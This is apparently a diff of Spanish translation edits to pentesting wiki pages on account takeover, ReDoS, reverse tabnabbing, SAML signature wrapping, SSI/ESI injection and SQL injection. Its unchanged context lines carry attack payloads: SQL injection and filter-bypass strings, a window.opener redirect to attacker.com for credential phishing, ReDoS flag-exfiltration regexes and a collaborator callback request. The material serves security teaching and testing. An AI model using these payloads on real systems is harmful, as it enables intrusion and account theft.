1. Regístrese en el sistema con un nombre de usuario idéntico al del víctima, pero con espacios en blanco insertados antes y/o después del nombre de usuario. por ejemplo: `"admin "`
|
||||
1. Regístrese en el sistema con un nombre de usuario idéntico al nombre de usuario de la víctima, pero con espacios en blanco insertados antes y/o después del nombre de usuario. por ejemplo: `"admin "`
|
||||
2. Solicite un restablecimiento de contraseña con su nombre de usuario malicioso.
|
||||
3. Use el token enviado a su correo electrónico y restablezca la contraseña de la víctima.
|
||||
4. Conéctese a la cuenta de la víctima con la nueva contraseña.
|
||||
|
||||
La plataforma CTFd era vulnerable a este ataque.\
|
||||
La plataforma CTFd fue vulnerable a este ataque.\
|
||||
Ver: [CVE-2020-7245](https://nvd.nist.gov/vuln/detail/CVE-2020-7245)
|
||||
|
||||
### Toma de Control de Cuenta a Través de Cross Site Scripting <a href="#account-takeover-via-cross-site-scripting" id="account-takeover-via-cross-site-scripting"></a>
|
||||
@ -151,7 +151,7 @@ Content-Length: 83
|
||||
GET http://something.burpcollaborator.net HTTP/1.1
|
||||
X: X
|
||||
```
|
||||
Hackerone informa sobre la explotación de este error\
|
||||
Hackerone informa sobre la explotación de este bug\
|
||||
\* [https://hackerone.com/reports/737140](https://hackerone.com/reports/737140)\
|
||||
\* [https://hackerone.com/reports/771666](https://hackerone.com/reports/771666)
|
||||
|
||||
@ -162,7 +162,7 @@ Hackerone informa sobre la explotación de este error\
|
||||
|
||||
### Toma de Control de Cuenta a través de JWT <a href="#account-takeover-via-jwt" id="account-takeover-via-jwt"></a>
|
||||
|
||||
JSON Web Token puede ser utilizado para autenticar a un usuario.
|
||||
JSON Web Token podría ser utilizado para autenticar a un usuario.
|
||||
|
||||
- Edita el JWT con otro ID de Usuario / Correo Electrónico
|
||||
- Verifica la firma débil del JWT
|
||||
|
||||
@ -4,7 +4,7 @@
|
||||
|
||||
# Denegación de Servicio por Expresión Regular (ReDoS)
|
||||
|
||||
Una **Denegación de Servicio por Expresión Regular (ReDoS)** ocurre cuando alguien aprovecha las debilidades en el funcionamiento de las expresiones regulares (una forma de buscar y hacer coincidir patrones en texto). A veces, cuando se utilizan expresiones regulares, pueden volverse muy lentas, especialmente si el texto con el que están trabajando se vuelve más grande. Esta lentitud puede llegar a ser tan mala que crece muy rápido con incluso pequeños aumentos en el tamaño del texto. Los atacantes pueden usar este problema para hacer que un programa que utiliza expresiones regulares deje de funcionar correctamente durante mucho tiempo.
|
||||
Una **Denegación de Servicio por Expresión Regular (ReDoS)** ocurre cuando alguien aprovecha las debilidades en cómo funcionan las expresiones regulares (una forma de buscar y hacer coincidir patrones en texto). A veces, cuando se utilizan expresiones regulares, pueden volverse muy lentas, especialmente si el texto con el que están trabajando se vuelve más grande. Esta lentitud puede llegar a ser tan mala que crece muy rápido con incluso pequeños aumentos en el tamaño del texto. Los atacantes pueden usar este problema para hacer que un programa que utiliza expresiones regulares deje de funcionar correctamente durante mucho tiempo.
|
||||
|
||||
## El Algoritmo Naïve Problemático de Regex
|
||||
|
||||
@ -26,14 +26,14 @@ Todos esos son vulnerables a la entrada `aaaaaaaaaaaaaaaaaaaaaaaa!`.
|
||||
|
||||
### Exfiltración de Cadenas a través de ReDoS
|
||||
|
||||
En un CTF (o programa de recompensas por errores) tal vez **controlas la Regex con la que se coincide una información sensible (la bandera)**. Entonces, podría ser útil hacer que la **página se congele (timeout o tiempo de procesamiento más largo)** si la **Regex coincidió** y **no si no coincidió**. De esta manera podrás **exfiltrar** la cadena **carácter por carácter**:
|
||||
En un CTF (o programa de recompensas por errores) tal vez **controlas la Regex con la que se coincide una información sensible (la bandera)**. Entonces, podría ser útil hacer que la **página se congele (tiempo de espera o tiempo de procesamiento más largo)** si la **Regex coincidió** y **no si no coincidió**. De esta manera podrás **exfiltrar** la cadena **carácter por carácter**:
|
||||
|
||||
- En [**esta publicación**](https://portswigger.net/daily-swig/blind-regex-injection-theoretical-exploit-offers-new-way-to-force-web-apps-to-spill-secrets) puedes encontrar esta regla de ReDoS: `^(?=<flag>)((.*)*)*salt$`
|
||||
- Ejemplo: `^(?=HTB{sOmE_fl§N§)((.*)*)*salt$`
|
||||
- En [**este informe**](https://github.com/jorgectf/Created-CTF-Challenges/blob/main/challenges/TacoMaker%20%40%20DEKRA%20CTF%202022/solver/solver.html) puedes encontrar este: `<flag>(((((((.*)*)*)*)*)*)*)!`
|
||||
- En [**este informe**](https://ctftime.org/writeup/25869) usó: `^(?=${flag_prefix}).*.*.*.*.*.*.*.*!!!!$`
|
||||
|
||||
### Controlando la Entrada y Regex de ReDoS
|
||||
### Control de Entrada y Regex en ReDoS
|
||||
|
||||
Los siguientes son ejemplos de **ReDoS** donde **controlas** tanto la **entrada** como la **regex**:
|
||||
```javascript
|
||||
|
||||
@ -126,12 +126,12 @@ uuid-insecurities.md
|
||||
- Usar GUID versión 4 para aleatoriedad o implementar medidas de seguridad adicionales para otras versiones.
|
||||
- **Herramientas**: Usar [guidtool](https://github.com/intruder-io/guidtool) para analizar y generar GUIDs.
|
||||
|
||||
## **Manipulación de Respuesta: Reemplazar Respuesta Mala por Buena**
|
||||
## **Manipulación de Respuesta: Reemplazar Respuesta Mala con Buena**
|
||||
|
||||
- Manipulando respuestas HTTP para eludir mensajes de error o restricciones.
|
||||
- **Pasos de Mitigación**:
|
||||
- Implementar verificaciones del lado del servidor para asegurar la integridad de la respuesta.
|
||||
- Usar canales de comunicación seguros como HTTPS para prevenir ataques de intermediarios.
|
||||
- Usar canales de comunicación seguros como HTTPS para prevenir ataques de hombre en el medio.
|
||||
- **Referencia**:
|
||||
- [Error Crítico en Evento de Recompensa por Errores en Vivo](https://medium.com/@innocenthacker/how-i-found-the-most-critical-bug-in-live-bug-bounty-event-7a88b3aa97b3)
|
||||
|
||||
@ -145,7 +145,7 @@ uuid-insecurities.md
|
||||
|
||||
- Intentando forzar el token de restablecimiento usando herramientas como Burpsuite e IP-Rotator para eludir límites de tasa basados en IP.
|
||||
- **Pasos de Mitigación**:
|
||||
- Implementar limitación de tasa robusta y mecanismos de bloqueo de cuentas.
|
||||
- Implementar mecanismos robustos de limitación de tasa y bloqueo de cuentas.
|
||||
- Monitorear actividades sospechosas indicativas de ataques de fuerza bruta.
|
||||
|
||||
## **Intentar Usar Su Token**
|
||||
|
||||
@ -7,9 +7,9 @@ Si la página no tiene **`rel="opener"` pero contiene `target="_blank"` y tampoc
|
||||
|
||||
Una forma habitual de abusar de este comportamiento sería **cambiar la ubicación de la web original** a través de `window.opener.location = https://attacker.com/victim.html` a una web controlada por el atacante que **se parezca a la original**, para que pueda **imitar** el **formulario** de **inicio de sesión** del sitio web original y solicitar credenciales al usuario.
|
||||
|
||||
Sin embargo, ten en cuenta que como el **atacante ahora puede controlar el objeto window del sitio web original**, puede abusar de ello de otras maneras para realizar **ataques más sigilosos** (¿quizás modificando eventos de javascript para exfiltrar información a un servidor controlado por él?)
|
||||
Sin embargo, ten en cuenta que como el **atacante ahora puede controlar el objeto window del sitio web original**, puede abusar de él de otras maneras para realizar **ataques más sigilosos** (¿quizás modificando eventos de javascript para exfiltrar información a un servidor controlado por él?)
|
||||
|
||||
# Visión general
|
||||
# Resumen
|
||||
|
||||
## Con enlace de regreso
|
||||
|
||||
@ -63,7 +63,7 @@ En el escenario donde ocurre un acceso **cross-origin** (acceso entre diferentes
|
||||
- **`opener.closed`**: Esta propiedad se accede para determinar si una ventana ha sido cerrada, devolviendo un valor booleano.
|
||||
- **`opener.frames`**: Esta propiedad proporciona acceso a todos los elementos iframe dentro de la ventana actual.
|
||||
- **`opener.length`**: El número de elementos iframe presentes en la ventana actual es devuelto por esta propiedad.
|
||||
- **`opener.opener`**: Una referencia a la ventana que abrió la ventana actual se puede obtener a través de esta propiedad.
|
||||
- **`opener.opener`**: Se puede obtener una referencia a la ventana que abrió la ventana actual a través de esta propiedad.
|
||||
- **`opener.parent`**: Esta propiedad devuelve la ventana padre de la ventana actual.
|
||||
- **`opener.self`**: El acceso a la ventana actual se proporciona por esta propiedad.
|
||||
- **`opener.top`**: Esta propiedad devuelve la ventana del navegador más alta.
|
||||
|
||||
@ -33,7 +33,7 @@ puts "First child in original doc: " + doc.root.elements[1].name
|
||||
doc = REXML::Document.new doc.to_s
|
||||
puts "First child after round-trip: " + doc.root.elements[1].name
|
||||
```
|
||||
Ejecutar el programa contra REXML 3.2.4 o versiones anteriores resultaría en la siguiente salida en su lugar:
|
||||
Ejecutar el programa contra REXML 3.2.4 o anterior resultaría en la siguiente salida en su lugar:
|
||||
```
|
||||
First child in original doc: Y
|
||||
First child after round-trip: Z
|
||||
@ -53,14 +53,14 @@ Para más información sobre la vulnerabilidad y cómo abusar de ella:
|
||||
|
||||
## Ataques de Envoltura de Firma XML
|
||||
|
||||
En **ataques de Envoltura de Firma XML (XSW)**, los adversarios explotan una vulnerabilidad que surge cuando los documentos XML se procesan a través de dos fases distintas: **validación de firma** y **invocación de función**. Estos ataques implican alterar la estructura del documento XML. Específicamente, el atacante **inyecta elementos falsificados** que no comprometen la validez de la Firma XML. Esta manipulación tiene como objetivo crear una discrepancia entre los elementos analizados por la **lógica de la aplicación** y aquellos verificados por el **módulo de verificación de firma**. Como resultado, mientras que la Firma XML sigue siendo técnicamente válida y pasa la verificación, la lógica de la aplicación procesa los **elementos fraudulentos**. En consecuencia, el atacante elude efectivamente la **protección de integridad** y la **autenticación de origen** de la Firma XML, lo que permite la **inyección de contenido arbitrario** sin detección.
|
||||
En **ataques de Envoltura de Firma XML (XSW)**, los adversarios explotan una vulnerabilidad que surge cuando los documentos XML se procesan a través de dos fases distintas: **validación de firma** y **invocación de función**. Estos ataques implican alterar la estructura del documento XML. Específicamente, el atacante **inyecta elementos falsificados** que no comprometen la validez de la Firma XML. Esta manipulación tiene como objetivo crear una discrepancia entre los elementos analizados por la **lógica de la aplicación** y aquellos verificados por el **módulo de verificación de firma**. Como resultado, mientras que la Firma XML sigue siendo técnicamente válida y pasa la verificación, la lógica de la aplicación procesa los **elementos fraudulentos**. En consecuencia, el atacante elude efectivamente la **protección de integridad** y la **autenticación de origen** de la Firma XML, lo que permite la **inyección de contenido arbitrario** sin ser detectado.
|
||||
|
||||
Los siguientes ataques se basan en [**esta publicación de blog**](https://epi052.gitlab.io/notes-to-self/blog/2019-03-13-how-to-test-saml-a-methodology-part-two/) **y** [**este documento**](https://www.usenix.org/system/files/conference/usenixsecurity12/sec12-final91.pdf). Así que revisa esos para más detalles.
|
||||
|
||||
### XSW #1
|
||||
|
||||
- **Estrategia**: Se agrega un nuevo elemento raíz que contiene la firma.
|
||||
- **Implicación**: El validador puede confundirse entre el legítimo "Response -> Assertion -> Subject" y el "malvado nuevo Response -> Assertion -> Subject" del atacante, lo que lleva a problemas de integridad de datos.
|
||||
- **Implicación**: El validador puede confundirse entre el "Response -> Assertion -> Subject" legítimo y el "malvado nuevo Response -> Assertion -> Subject" del atacante, lo que lleva a problemas de integridad de datos.
|
||||
|
||||
.png>)
|
||||
|
||||
@ -73,7 +73,7 @@ Los siguientes ataques se basan en [**esta publicación de blog**](https://epi05
|
||||
|
||||
### XSW #3
|
||||
|
||||
- **Estrategia**: Se crea una Assertion malvada al mismo nivel jerárquico que la assertion original.
|
||||
- **Estrategia**: Se elabora una Assertion malvada al mismo nivel jerárquico que la assertion original.
|
||||
- **Implicación**: Tiene la intención de confundir a la lógica empresarial para que use los datos maliciosos.
|
||||
|
||||
.png>)
|
||||
@ -193,7 +193,7 @@ La **Exclusión de Firma XML** observa el comportamiento de las implementaciones
|
||||
|
||||
### Herramienta <a href="#xml-signature-exclusion-how-to" id="xml-signature-exclusion-how-to"></a>
|
||||
|
||||
También puedes usar la extensión de Burp [**SAML Raider**](https://portswigger.net/bappstore/c61cfa893bb14db4b01775554f7b802e). Intercepta la Respuesta SAML y haz clic en `Remove Signatures`. Al hacerlo, **todos** los elementos de Firma son eliminados.
|
||||
También puedes usar la extensión de Burp [**SAML Raider**](https://portswigger.net/bappstore/c61cfa893bb14db4b01775554f7b802e). Intercepta la Respuesta SAML y haz clic en `Remove Signatures`. Al hacerlo, se eliminan **todos** los elementos de Firma.
|
||||
|
||||
Con las firmas eliminadas, permite que la solicitud continúe hacia el objetivo. Si la Firma no es requerida por el Servicio
|
||||
|
||||
@ -262,7 +262,7 @@ Esto reveló que el parámetro `base` acepta una URL. Considerando esto, surgió
|
||||
|
||||
[De esta investigación](https://blog.fadyothman.com/how-i-discovered-xss-that-affects-over-20-uber-subdomains/):
|
||||
|
||||
La herramienta [**SAMLExtractor**](https://github.com/fadyosman/SAMLExtractor) se utilizó para analizar subdominios de `uberinternal.com` para dominios que utilizan la misma biblioteca. Posteriormente, se desarrolló un script para apuntar a la página `oidauth/prompt`. Este script prueba XSS (Cross-Site Scripting) ingresando datos y verificando si se reflejan en la salida. En los casos donde la entrada se refleja, el script marca la página como vulnerable.
|
||||
La herramienta [**SAMLExtractor**](https://github.com/fadyosman/SAMLExtractor) se utilizó para analizar subdominios de `uberinternal.com` para dominios que utilizan la misma biblioteca. Posteriormente, se desarrolló un script para atacar la página `oidauth/prompt`. Este script prueba XSS (Cross-Site Scripting) ingresando datos y verificando si se reflejan en la salida. En los casos en que la entrada se refleja, el script marca la página como vulnerable.
|
||||
```python
|
||||
import requests
|
||||
import urllib3
|
||||
|
||||
@ -1,15 +1,15 @@
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
# Visión General de SAML
|
||||
# SAML Overview
|
||||
|
||||
**Security Assertion Markup Language (SAML)** permite que los proveedores de identidad (IdP) se utilicen para enviar credenciales de autorización a los proveedores de servicios (SP), facilitando el inicio de sesión único (SSO). Este enfoque simplifica la gestión de múltiples inicios de sesión al permitir que un solo conjunto de credenciales se utilice en múltiples sitios web. Aprovecha XML para la comunicación estandarizada entre IdPs y SPs, vinculando la autenticación de la identidad del usuario con la autorización del servicio.
|
||||
|
||||
## Comparación entre SAML y OAuth
|
||||
## Comparison between SAML and OAuth
|
||||
|
||||
- **SAML** está diseñado para proporcionar a las empresas un mayor control sobre la seguridad del inicio de sesión SSO.
|
||||
- **OAuth** está diseñado para ser más amigable con dispositivos móviles, utiliza JSON y es un esfuerzo colaborativo de empresas como Google y Twitter.
|
||||
|
||||
# Flujo de Autenticación SAML
|
||||
# SAML Authentication Flow
|
||||
|
||||
**Para más detalles, consulta la publicación completa en [https://epi052.gitlab.io/notes-to-self/blog/2019-03-07-how-to-test-saml-a-methodology/](https://epi052.gitlab.io/notes-to-self/blog/2019-03-07-how-to-test-saml-a-methodology/)**. Este es un resumen:
|
||||
|
||||
@ -20,15 +20,15 @@ El proceso de autenticación SAML implica varios pasos, como se ilustra en el es
|
||||
1. **Intento de Acceso a Recurso**: El usuario intenta acceder a un recurso protegido.
|
||||
2. **Generación de Solicitud SAML**: El SP no reconoce al usuario y genera una Solicitud SAML.
|
||||
3. **Redirección a IdP**: El usuario es redirigido al IdP, con la Solicitud SAML pasando a través del navegador del usuario.
|
||||
4. **IdP Recibe la Solicitud**: El IdP recibe la Solicitud SAML.
|
||||
4. **IdP Recibe Solicitud**: El IdP recibe la Solicitud SAML.
|
||||
5. **Autenticación en IdP**: El IdP autentica al usuario.
|
||||
6. **Validación del Usuario**: El IdP valida la legitimidad del usuario para acceder al recurso solicitado.
|
||||
7. **Creación de Respuesta SAML**: El IdP genera una Respuesta SAML que contiene las afirmaciones necesarias.
|
||||
8. **Redirección a la URL ACS del SP**: El usuario es redirigido a la URL del Servicio Consumidor de Afirmaciones (ACS) del SP.
|
||||
9. **Validación de la Respuesta SAML**: El ACS valida la Respuesta SAML.
|
||||
9. **Validación de Respuesta SAML**: El ACS valida la Respuesta SAML.
|
||||
10. **Acceso al Recurso Concedido**: Se concede acceso al recurso inicialmente solicitado.
|
||||
|
||||
# Ejemplo de Solicitud SAML
|
||||
# SAML Request Example
|
||||
|
||||
Considera el escenario en el que un usuario solicita acceso a un recurso seguro en [https://shibdemo-sp1.test.edu/secure/](https://shibdemo-sp1.test.edu/secure/). El SP identifica la falta de autenticación y genera una Solicitud SAML:
|
||||
```
|
||||
|
||||
@ -1,25 +1,25 @@
|
||||
# Inclusión del Lado del Servidor/Inyección de Inclusión del Lado de la Frontera
|
||||
# Server Side Inclusion/Edge Side Inclusion Injection
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
||||
## Información Básica sobre la Inclusión del Lado del Servidor
|
||||
## Server Side Inclusion Información Básica
|
||||
|
||||
**(Introducción tomada de** [**documentos de Apache**](https://httpd.apache.org/docs/current/howto/ssi.html)**)**
|
||||
**(Introducción tomada de** [**Apache docs**](https://httpd.apache.org/docs/current/howto/ssi.html)**)**
|
||||
|
||||
SSI (Server Side Includes) son directivas que se **colocan en páginas HTML y se evalúan en el servidor** mientras se sirven las páginas. Te permiten **agregar contenido generado dinámicamente** a una página HTML existente, sin tener que servir toda la página a través de un programa CGI u otra tecnología dinámica.\
|
||||
Por ejemplo, podrías colocar una directiva en una página HTML existente, como:
|
||||
|
||||
`<!--#echo var="DATE_LOCAL" -->`
|
||||
|
||||
Y, cuando se sirva la página, este fragmento será evaluado y reemplazado por su valor:
|
||||
Y, cuando se sirve la página, este fragmento será evaluado y reemplazado por su valor:
|
||||
|
||||
`Tuesday, 15-Jan-2013 19:28:54 EST`
|
||||
|
||||
La decisión de cuándo usar SSI y cuándo hacer que tu página sea completamente generada por algún programa, generalmente es una cuestión de cuánto de la página es estático y cuánto necesita ser recalculado cada vez que se sirve la página. SSI es una excelente manera de agregar pequeñas piezas de información, como la hora actual - mostrada arriba. Pero si la mayoría de tu página se genera en el momento en que se sirve, necesitas buscar alguna otra solución.
|
||||
La decisión de cuándo usar SSI y cuándo hacer que tu página sea generada completamente por algún programa, generalmente depende de cuánto de la página es estático y cuánto necesita ser recalculado cada vez que se sirve la página. SSI es una excelente manera de agregar pequeñas piezas de información, como la hora actual - mostrada arriba. Pero si la mayoría de tu página se genera en el momento en que se sirve, necesitas buscar alguna otra solución.
|
||||
|
||||
Puedes inferir la presencia de SSI si la aplicación web utiliza archivos con la extensións**`.shtml`, `.shtm` o `.stm`**, pero no es solo el caso.
|
||||
|
||||
Una expresión típica de SSI tiene el siguiente formato:
|
||||
Una expresión SSI típica tiene el siguiente formato:
|
||||
```
|
||||
<!--#directive param="value" -->
|
||||
```
|
||||
@ -56,8 +56,8 @@ Una expresión típica de SSI tiene el siguiente formato:
|
||||
```
|
||||
## Inclusión del Lado del Edge
|
||||
|
||||
Hay un problema **con la información en caché o aplicaciones dinámicas** ya que parte del contenido puede haber **variado** para la próxima vez que se recupere el contenido. Esto es para lo que se utiliza **ESI**, para indicar utilizando etiquetas ESI el **contenido dinámico que necesita ser generado** antes de enviar la versión en caché.\
|
||||
Si un **atacante** es capaz de **inyectar una etiqueta ESI** dentro del contenido en caché, entonces, podría ser capaz de **inyectar contenido arbitrario** en el documento antes de que se envíe a los usuarios.
|
||||
Hay un problema **con el almacenamiento en caché de información o aplicaciones dinámicas** ya que parte del contenido puede haber **variado** para la próxima vez que se recupere el contenido. Para esto se utiliza **ESI**, para indicar mediante etiquetas ESI el **contenido dinámico que necesita ser generado** antes de enviar la versión en caché.\
|
||||
Si un **atacante** es capaz de **inyectar una etiqueta ESI** dentro del contenido en caché, entonces podría ser capaz de **inyectar contenido arbitrario** en el documento antes de que se envíe a los usuarios.
|
||||
|
||||
### Detección de ESI
|
||||
|
||||
@ -95,7 +95,7 @@ hell<!--esi-->o
|
||||
- **Vars**: Soporta la directiva `<esi:vars>`. Útil para eludir filtros XSS
|
||||
- **Cookie**: Las cookies del documento son accesibles para el motor ESI
|
||||
- **Encabezados de upstream requeridos**: Las aplicaciones de sustitución no procesarán las declaraciones ESI a menos que la aplicación de upstream proporcione los encabezados
|
||||
- **Lista blanca de hosts**: En este caso, las inclusiones ESI solo son posibles desde hosts de servidor permitidos, haciendo que SSRF, por ejemplo, solo sea posible contra esos hosts
|
||||
- **Lista blanca de hosts**: En este caso, los includes de ESI solo son posibles desde hosts de servidor permitidos, haciendo que SSRF, por ejemplo, solo sea posible contra esos hosts
|
||||
|
||||
| **Software** | **Includes** | **Vars** | **Cookies** | **Encabezados de upstream requeridos** | **Lista blanca de hosts** |
|
||||
| :--------------------------: | :----------: | :------: | :---------: | :-----------------------------------: | :-----------------------: |
|
||||
|
||||
@ -5,7 +5,7 @@
|
||||
|
||||
## ¿Qué es la inyección SQL?
|
||||
|
||||
Una **inyección SQL** es un fallo de seguridad que permite a los atacantes **interferir con las consultas de la base de datos** de una aplicación. Esta vulnerabilidad puede permitir a los atacantes **ver**, **modificar** o **eliminar** datos a los que no deberían tener acceso, incluyendo información de otros usuarios o cualquier dato al que la aplicación pueda acceder. Tales acciones pueden resultar en cambios permanentes en la funcionalidad o contenido de la aplicación o incluso en la compromisión del servidor o denegación de servicio.
|
||||
Una **inyección SQL** es una falla de seguridad que permite a los atacantes **interferir con las consultas de la base de datos** de una aplicación. Esta vulnerabilidad puede permitir a los atacantes **ver**, **modificar** o **eliminar** datos a los que no deberían tener acceso, incluyendo información de otros usuarios o cualquier dato al que la aplicación pueda acceder. Tales acciones pueden resultar en cambios permanentes en la funcionalidad o contenido de la aplicación o incluso en la compromisión del servidor o denegación de servicio.
|
||||
|
||||
## Detección de puntos de entrada
|
||||
|
||||
@ -135,7 +135,7 @@ También, si tienes acceso a la salida de la consulta, podrías hacer que **impr
|
||||
|
||||
{% embed url="https://portswigger.net/web-security/sql-injection/cheat-sheet" %}
|
||||
|
||||
## Explotando Basado en Unión
|
||||
## Explotando Basado en Union
|
||||
|
||||
### Detectando el número de columnas
|
||||
|
||||
@ -169,7 +169,7 @@ Selecciona más y más valores nulos hasta que la consulta sea correcta:
|
||||
1' UNION SELECT null,null-- - Not working
|
||||
1' UNION SELECT null,null,null-- - Worked
|
||||
```
|
||||
_Se deben usar valores `null`, ya que en algunos casos el tipo de las columnas de ambos lados de la consulta debe ser el mismo y null es válido en todos los casos._
|
||||
_Debes usar valores `null` ya que en algunos casos el tipo de las columnas de ambos lados de la consulta debe ser el mismo y null es válido en todos los casos._
|
||||
|
||||
### Extraer nombres de bases de datos, nombres de tablas y nombres de columnas
|
||||
|
||||
@ -188,11 +188,11 @@ _Hay una forma diferente de descubrir estos datos en cada base de datos diferent
|
||||
|
||||
## Explotando Inyección Basada en Unión Oculta
|
||||
|
||||
Cuando la salida de una consulta es visible, pero una inyección basada en unión parece inalcanzable, significa la presencia de una **inyección basada en unión oculta**. Este escenario a menudo conduce a una situación de inyección ciega. Para transformar una inyección ciega en una basada en unión, es necesario discernir la consulta de ejecución en el backend.
|
||||
Cuando la salida de una consulta es visible, pero una inyección basada en unión parece inalcanzable, esto indica la presencia de una **inyección basada en unión oculta**. Este escenario a menudo conduce a una situación de inyección ciega. Para transformar una inyección ciega en una basada en unión, es necesario discernir la consulta de ejecución en el backend.
|
||||
|
||||
Esto se puede lograr mediante el uso de técnicas de inyección ciega junto con las tablas predeterminadas específicas de su Sistema de Gestión de Bases de Datos (DBMS) objetivo. Para entender estas tablas predeterminadas, se aconseja consultar la documentación del DBMS objetivo.
|
||||
|
||||
Una vez que se ha extraído la consulta, es necesario adaptar su carga útil para cerrar de manera segura la consulta original. Posteriormente, se añade una consulta de unión a su carga útil, facilitando la explotación de la inyección basada en unión recién accesible.
|
||||
Una vez que se ha extraído la consulta, es necesario adaptar su carga útil para cerrar de manera segura la consulta original. Posteriormente, se agrega una consulta de unión a su carga útil, facilitando la explotación de la inyección basada en unión recién accesible.
|
||||
|
||||
Para obtener información más completa, consulte el artículo completo disponible en [Healing Blind Injections](https://medium.com/@Rend_/healing-blind-injections-df30b9e0e06f).
|
||||
|
||||
@ -224,7 +224,7 @@ En este caso **no hay** ninguna manera de **distinguir** la **respuesta** de la
|
||||
```
|
||||
## Consultas Apiladas
|
||||
|
||||
Puedes usar consultas apiladas para **ejecutar múltiples consultas en sucesión**. Ten en cuenta que, aunque las consultas posteriores se ejecutan, los **resultados** **no se devuelven a la aplicación**. Por lo tanto, esta técnica es principalmente útil en relación con **vulnerabilidades ciegas** donde puedes usar una segunda consulta para activar una búsqueda DNS, un error condicional o un retraso de tiempo.
|
||||
Puedes usar consultas apiladas para **ejecutar múltiples consultas en sucesión**. Ten en cuenta que, aunque las consultas subsiguientes se ejecutan, los **resultados** **no se devuelven a la aplicación**. Por lo tanto, esta técnica es principalmente útil en relación con **vulnerabilidades ciegas** donde puedes usar una segunda consulta para activar una búsqueda DNS, un error condicional o un retraso de tiempo.
|
||||
|
||||
**Oracle** no soporta **consultas apiladas.** **MySQL, Microsoft** y **PostgreSQL** las soportan: `QUERY-1-HERE; QUERY-2-HERE`
|
||||
|
||||
@ -266,7 +266,7 @@ Lista para intentar eludir la funcionalidad de inicio de sesión:
|
||||
```sql
|
||||
"SELECT * FROM admin WHERE pass = '".md5($password,true)."'"
|
||||
```
|
||||
Esta consulta muestra una vulnerabilidad cuando se utiliza MD5 con verdadero para la salida en bruto en las verificaciones de autenticación, lo que hace que el sistema sea susceptible a inyecciones SQL. Los atacantes pueden explotar esto creando entradas que, cuando se hash, producen partes inesperadas de comandos SQL, lo que lleva a accesos no autorizados.
|
||||
Esta consulta muestra una vulnerabilidad cuando se utiliza MD5 con verdadero para la salida en bruto en las verificaciones de autenticación, lo que hace que el sistema sea susceptible a inyecciones SQL. Los atacantes pueden explotar esto creando entradas que, cuando se hash, producen partes inesperadas de comandos SQL, lo que lleva a un acceso no autorizado.
|
||||
```sql
|
||||
md5("ffifdyop", true) = 'or'6<>]<5D><>!r,<2C><>b<EFBFBD>
|
||||
sha1("3fDf ", true) = Q<>u'='<27>@<40>[<5B>t<EFBFBD>- o<><6F>_-!
|
||||
@ -317,13 +317,13 @@ Para hacerlo, debes intentar **crear un nuevo objeto llamado como el "objeto mae
|
||||
|
||||
Si la base de datos es vulnerable y el número máximo de caracteres para el nombre de usuario es, por ejemplo, 30 y deseas suplantar al usuario **admin**, intenta crear un nombre de usuario llamado: "_admin \[30 espacios] a_" y cualquier contraseña.
|
||||
|
||||
La base de datos **verificará** si el **nombre de usuario** introducido **existe** dentro de la base de datos. Si **no**, **cortará** el **nombre de usuario** al **número máximo permitido de caracteres** (en este caso a: "_admin \[25 espacios]_") y luego **eliminará automáticamente todos los espacios al final actualizando** dentro de la base de datos al usuario "**admin**" con la **nueva contraseña** (puede aparecer algún error, pero no significa que esto no haya funcionado).
|
||||
La base de datos **verificará** si el **nombre de usuario** introducido **existe** dentro de la base de datos. Si **no**, **cortará** el **nombre de usuario** al **número máximo permitido de caracteres** (en este caso a: "_admin \[25 espacios]_") y luego **eliminará automáticamente todos los espacios al final actualizando** dentro de la base de datos al usuario "**admin**" con la **nueva contraseña** (puede aparecer algún error, pero eso no significa que no haya funcionado).
|
||||
|
||||
Más información: [https://blog.lucideus.com/2018/03/sql-truncation-attack-2018-lucideus.html](https://blog.lucideus.com/2018/03/sql-truncation-attack-2018-lucideus.html) & [https://resources.infosecinstitute.com/sql-truncation-attack/#gref](https://resources.infosecinstitute.com/sql-truncation-attack/#gref)
|
||||
|
||||
_Note: Este ataque ya no funcionará como se describe arriba en las últimas instalaciones de MySQL. Si bien las comparaciones aún ignoran los espacios en blanco al final por defecto, intentar insertar una cadena que sea más larga que la longitud de un campo resultará en un error, y la inserción fallará. Para más información sobre esta verificación:_ [_https://heinosass.gitbook.io/leet-sheet/web-app-hacking/exploitation/interesting-outdated-attacks/sql-truncation_](https://heinosass.gitbook.io/leet-sheet/web-app-hacking/exploitation/interesting-outdated-attacks/sql-truncation)
|
||||
|
||||
### Comprobación basada en el tiempo de inserción de MySQL
|
||||
### MySQL Insert time based checking
|
||||
|
||||
Agrega tantos `','',''` como consideres para salir de la declaración VALUES. Si se ejecuta un retraso, tienes una SQLInjection.
|
||||
```sql
|
||||
@ -331,7 +331,7 @@ name=','');WAITFOR%20DELAY%20'0:0:5'--%20-
|
||||
```
|
||||
### ON DUPLICATE KEY UPDATE
|
||||
|
||||
La cláusula `ON DUPLICATE KEY UPDATE` en MySQL se utiliza para especificar acciones que la base de datos debe tomar cuando se intenta insertar una fila que resultaría en un valor duplicado en un índice UNIQUE o en una PRIMARY KEY. El siguiente ejemplo demuestra cómo se puede explotar esta función para modificar la contraseña de una cuenta de administrador:
|
||||
La cláusula `ON DUPLICATE KEY UPDATE` en MySQL se utiliza para especificar acciones que la base de datos debe tomar cuando se intenta insertar una fila que resultaría en un valor duplicado en un índice UNIQUE o en la PRIMARY KEY. El siguiente ejemplo demuestra cómo se puede explotar esta función para modificar la contraseña de una cuenta de administrador:
|
||||
|
||||
Ejemplo de Inyección de Payload:
|
||||
|
||||
@ -401,11 +401,11 @@ Sin espacio (%20) - bypass utilizando alternativas de espacio en blanco
|
||||
?id=1%0Aand%0A1=1%0A--
|
||||
?id=1%A0and%A01=1%A0--
|
||||
```
|
||||
Sin espacios en blanco - eludir usando comentarios
|
||||
No espacio en blanco - eludir usando comentarios
|
||||
```sql
|
||||
?id=1/*comment*/and/**/1=1/**/--
|
||||
```
|
||||
No espacio en blanco - eludir usando paréntesis
|
||||
Sin espacios en blanco - eludir usando paréntesis
|
||||
```sql
|
||||
?id=(1)and(1)=(1)--
|
||||
```
|
||||
@ -444,7 +444,7 @@ Básicamente, puedes usar la notación científica de maneras inesperadas para e
|
||||
```
|
||||
### Bypass Column Names Restriction
|
||||
|
||||
Primero que nada, ten en cuenta que si la **consulta original y la tabla de la que deseas extraer la bandera tienen la misma cantidad de columnas** puedes simplemente hacer: `0 UNION SELECT * FROM flag`
|
||||
Primero que nada, ten en cuenta que si la **consulta original y la tabla de la que deseas extraer la bandera tienen la misma cantidad de columnas** podrías simplemente hacer: `0 UNION SELECT * FROM flag`
|
